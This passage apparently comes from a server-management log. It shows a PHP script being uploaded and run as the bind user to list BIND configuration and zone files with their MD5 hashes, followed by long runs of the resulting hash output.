MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:48:39: Establishing a connection
2026-04-23 17:48:39: 

PUT: /tmp/pkp566600

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:48:40: 

runuser -l bind -s /bin/bash -c '/tmp/pkp566600; rm /tmp/pkp566600'

2026-04-23 17:48:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:48:41: Establishing a connection
2026-04-23 17:48:41: 

PUT: /tmp/pkp606768

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:48:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp606768; rm /tmp/pkp606768'

2026-04-23 17:48:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
